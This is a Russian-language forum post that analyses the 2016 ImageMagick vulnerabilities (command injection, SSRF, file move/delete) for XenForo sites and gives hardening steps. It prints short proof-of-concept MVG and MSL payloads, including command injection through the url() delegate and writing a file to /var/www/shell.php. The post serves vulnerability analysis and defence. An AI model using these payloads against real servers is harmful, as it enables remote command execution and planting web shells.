Всем привет ! :)
Наткнулся на ссылку 0-day уязвимость в ImageMagick ставит под угрозу множество сайтов - «Хакер» там рассказывается про уязвимость, если использовать ImageMagick "на прямую", давайте проанализируем что будет, если использовать не на прямую, например через PHP и что нужно делать что-бы защитится от таких видов атак !
Итак анализируем на примере XenForo:
1)CVE-2016-3714 Недостаточное экранирование символов, ведущее к возможному RCE:
Тут проблема в том, то у IM есть фича delegate, при помощи которой IM позволяет обрабатывать файлы внешними библиотеками. По сути это вызов system() с командной строкой из файла delegates.xml. Одна из дефолтных команд
"wget" -q -O "%o" "https:%M"
где %M ссылка из входного потока. Например, можно прокинуть Example Domain"|ls "-la, что приведёт к выполнению ls -la (должны быть установлены wget или curl).
Для справки:ls -la - Это отобразит, все файлы и каталоги в Линуксе.
Пример эксплоита:
Код:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
Что-же будет в XenForo:
Если не включён режим дебага, то ничего и не будет, т.к. консольные команды в пхп на дефолте не выводятся, а ошибки тоже...
В общем - Данная атака не страшна, в нашем случае.
2)CVE-2016-3718 SSRF. Возможно выполнить HTTP GET и FTP запросы:
В теории опасно может-быть, тем-что можно при помощи первой уязвимости, получить список каталогов, а далее к себе их перебросить, но я лично так и не смог не одно эксплуатировать, даже и локально...
Эксплоит:
Код:
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
3)CVE-2016-3715 Удаление файлов CVE-2016-3716 Перемещение файлов:
Тут хитро, дело в том-что, в XenForo, все обрабатываемые файлы имеют случайные названия, например так:fghijklm55
И что-бы переместить шелл, даже если знаешь пути хз. как, нужно брутить...
Я уже не говорю, если делать так:
Код:
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>
То файл будет с правами рут и 644, что недаст исполнить на дефолте...:)
4)Ну и последнее, если не ставить гамно плагины в XenForo, как-раз проверяются магические байты — последовательность байт, по которой программы определяют формат файла, до обработки...
ИТОГ:
Разумеется для каких-то сайтов это ОЧЕНЬ опасная уязвимость, НО не для всех, к сожалению патча пока нет, поэтому я рекомендую всё-же подстраховаться и сделать следующее:
1. /etc/ImageMagick-xxx/policy.xml
И добавить:
Код:
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="TEXT" />
<policy domain="coder" rights="none" pattern="SHOW" />
<policy domain="coder" rights="none" pattern="WIN" />
<policy domain="coder" rights="none" pattern="PLT" />
Перед <policymap>
Перезапустить Апач, или что там за пхп отвечает....
2.Проверить скрипты на проверку "Магических байтов", перед обработкой файлов;
3. Сохранять и обрабатывать файлы, ОБЯЗАТЕЛЬНО меняя имя файла в случайном порядке.
4. Настроить нормально права на папки - новые файлы права 644, папки 755, это как минимум...
Файлы не должны-быть с владельцем рут ! :)
5. Помониторить и обновить всё-же с патчем, как выйдет, я в теме сообщу !
У меня всё, всем бобра, всем ведра, ах-да всем добра ! :)